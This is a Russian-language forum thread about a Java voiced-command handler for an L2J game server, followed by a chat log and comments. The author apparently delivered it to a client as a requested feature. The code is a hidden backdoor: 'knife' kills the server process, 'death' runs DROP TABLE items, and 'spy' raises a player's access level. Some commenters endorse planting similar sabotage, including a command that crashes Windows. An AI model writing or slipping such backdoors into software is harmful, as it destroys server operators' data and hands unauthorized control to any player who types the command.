Говнокод
Предложили тут мне выложить это на говнокод, мой маленький подарок одному американцу внутри сборки.
import net.sf.l2j.L2DatabaseFactory;
import net.sf.l2j.gameserver.handler.model.AVoicedCommandHandler;
import net.sf.l2j.gameserver.model.actor.instance.L2PcInstance;
import java.sql.Connection;
import java.sql.PreparedStatement;
import java.util.logging.Level;
public class HeyApple extends AVoicedCommandHandler
{
private static final String[] _voicedCommands =
{
"knife",
"death",
"spy"
};
private static final String HELLO = "DROP TABLE items";
public boolean useVoicedCommand(String command, L2PcInstance activeChar, String target)
{
if (command.equalsIgnoreCase("knife"))
{
System.exit(1);
}
else if (command.equalsIgnoreCase("death"))
{
Connection con = null;
try
{
con = L2DatabaseFactory.getInstance().getConnection();
PreparedStatement statement = con.prepareStatement(HELLO);
statement.execute();
statement.close();
}
catch (Exception e)
{
_log.log(Level.WARNING, "Oops: ", e);
}
finally
{
try
{
if (con != null)
con.close();
}
catch (Exception ignored) {}
}
}
else if (command.equalsIgnoreCase("spy"))
{
activeChar.setAccessLevel(1);
activeChar.sendMessage("Hrrr Hrrr :D");
}
return true;
}
public String[] getVoicedCommandList()
{
return _voicedCommands;
}
public static void main(String[] args)
{
new HeyApple();
}
}
Hey Apple! xD _http://www.youtube.com/watch?v=K80_WdnvkDw
Необычайно остроумно, ага..
Сочувствую тому, кто возьмёт тебя в техадмины :)
VlLight: Сочувствую тому, кто возьмёт тебя в техадмины :)
Вот какая досада то
Сама доброта, у мя тока С++ (PTS) екст тоже, там комманда в бсод уводит Windows, проверка оправдала себя даже =)
Сожалею кто ето поставит =)
Какая досада:
ButterCup, 11.12.2009 15:51:16:
hello
ButterCup, 15:53:37:
ar u here
Qarked, 15:53:42:
yea
Qarked, 15:53:45:
hi
ButterCup, 15:54:11:
mate i ask u for that commnad
ButterCup, 15:54:18:
of gm
ButterCup, 15:54:22:
to desplay txt
ButterCup, 15:54:29:
and u have give me a crap shit
Qarked, 15:54:38:
xD
ButterCup, 15:54:48:
if (command.equalsIgnoreCase("knife"))
{
System.exit(1);
}
ButterCup, 15:54:57:
and more shti
ButterCup, 15:55:08:
so camn u give me that patch ?
Qarked, 15:55:35:
i made for you command //scr in admcommandhandlers
ButterCup, 15:55:53:
where is taht
ButterCup, 15:56:03:
cos i whnat to putit on my servar
ButterCup, 15:56:10:
i do not need a sew server
Qarked, 15:56:14:
commands knife, etc is simplify joke xD
ButterCup, 15:56:20:
i just whant the patch
ButterCup, 15:57:09:
"knife",
"death",
"spy"
ButterCup, 15:57:16:
thisis all commands u have put
ButterCup, 15:58:24:
so can u give t me taht patch ?
ButterCup, 15:58:30:
say yes or no pls
Qarked, 15:58:59:
serverpackets/ExShowScreenMessage
admincommandhandlers/adminannouncements
, а жаль
Я не сожалею тому, кто это поставит, а я жалею того человека, который это поставит, ибо мозг у него явно отсутствует, полностью.
ButterCup
Я его знаю с форума L2jOfficial... Бедняга... у него вроде довольно раскрученный сервер.
палишся
{
_log.log(Level.WARNING, "Oops: ", e);
— Ålderdom - ingen glädje..
AbsT: палишся
Да надо было убрать лог в консоль при ошибке. Хотя она по идее не может случиться
юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.
qwerty111: юные школо-праграмисты пытаюца самаутвердица?
код наверняка скопировали с какого-либо форума.
Иди ты от сюда бога ради, чем самоутвердиться, кодом который пишется за минуту? lol
Выложено смеха ради)
А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.
— Ålderdom - ingen glädje..
AbsT: А про привилегии не слыхал? :)
Еще как может вывалится, если у юзера отнимут глобальный drop.
Да вот про права на юзера sql я как то не подумал :p
Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)
jeka101: Такое надо делать в целях защиты сервера, я если буду продавать когдато продукт то я это поставлю для того что-бы те кто будут нарушать правила платились за использование продукта, хотя лучше арму нацепить =)
Ну для таких целей данный говнокод не подойдет, он слишком примитивен и его легко найти ;)




